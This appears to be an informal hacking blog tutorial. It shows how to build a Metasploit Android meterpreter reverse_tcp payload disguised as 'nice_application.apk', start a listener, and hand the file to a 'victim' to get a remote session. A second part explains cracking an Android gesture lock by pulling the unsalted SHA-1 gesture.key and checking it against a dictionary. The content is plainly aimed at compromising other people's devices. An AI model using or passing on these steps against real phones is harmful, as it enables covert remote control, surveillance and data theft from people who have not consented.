andriod

Hacking Android Smartphone Tutorial using Metasploit

Metasploit has released android meterpreter too for exploitatioan so in this tutorial i will show you that how to use an android meterpreter payload to hack into an android device.
Android meterpreter at the moment isn't quite powerful but still its cool enough to pwn someone :)

So lets start ..!!

Step 1-
First thing you need to do is to update your metasploit.So lets do it using the following command.

sudo msfupdate

Upper command will update your metasploit and now you will have all latest exploits of metasploit including android/meterpreter/reverse_tcp and android/shell/reverse_tcp.


Step2:
Now generate msfpayload stager which will be sent to victim.So, execute the following command to generate a payload stager.

sudo msfpayload android/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=4444 R > nice_application.apk

 In above command, X.X.X.X is your LAN/Wifi IP i.e. 192.168.1.10 etc. and LPORT is the port from which victim's android device will return a reverse_tcp connection.You can use any port number except the well known ports (The port numbers in the range from 0 to 1023 are the well-known ports).
Note: If u want to use it over internet/WAN, then first forward your router's ports for your IP and then give your external IP at X.X.X.X place.You watch my tutorial on metasploit usage over Internet/WAN for better understanding.

Step3:
Now start metasploit and start a multi handler on your machine to get a reverse tcp connection from victim using the following commands.Below X.X.X.X is the same IP that u have given in payload.

sudo msfconsole
use exploiter/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost  X.X.X.X
set lport 4444
exploit

A multi handler will start on your machine and it will be wait for a reverse_tcp connection from victim's side.

Final Step:
Now give your payload stager to someone and wait for its execution.When victim will execute it, it will return a reverse connection and will be pawned :D

On successful exploitation, you will see following output.

How To Crack The Android Gesture Pattern Lock

In this tutorial I am going to demonstrate that how to crack the Gesture Pattern of ROOTED android devices.
This tutorial doesn't seem very effective in attacking some victim but it is good for those who want to try it on some android device after getting a metasploit meterpreter session.

How Gesture Pattern Lock Works??

Well first of all we need to understand that how gesture pattern works. Patterns are nothing but the path traced by the fingers on the nine circles with the number starting from 1 to 9 from top-left corner to the right bottom corner as shown in the figure below.

If we select a pattern 1478, the pattern would look like the following figure.

Gesture pattern is encrypted as a SHA-1 hash without a salt in gesture.key file at /data/system/gesture.key .

Tools Required:

1- ADB shell
2- ROOTED android device
3- Gesture Pattern SHA-1 dictionary and script to compare those hashes

1- First of all, enable usb debugging in your mobile's settings and connect your cell phone with your pc so that we may copy the gesture.key file for decryption purpose.

2- Download ADB shell from ADB official site and extract it on your drive. Open cmd, go to adb folder and execute the following command.

3- Now download the Gesture Pattern SHA-1 dictionary and python script from the above given links and extract those on your drive. Then execute the following command.

From the above image you can see the decrypted Gesture Pattern which is 14569.

NOTE:
This attack hardly takes 1-2 seconds as total number of possible patterns are only 9,85,825.